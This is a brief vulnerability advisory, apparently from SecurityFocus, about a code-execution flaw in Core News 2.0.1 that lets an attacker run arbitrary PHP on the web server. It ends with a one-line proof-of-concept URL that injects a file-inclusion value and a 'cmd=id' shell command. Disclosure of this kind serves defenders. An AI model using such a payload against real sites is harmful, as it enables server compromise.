source: http://www.securityfocus.com/bid/17067/info

Core News is prone to a code-execution vulnerability. 

An attacker can exploit this issue to execute arbitrary malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Core News version 2.0.1. is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=evilcode?&cmd=id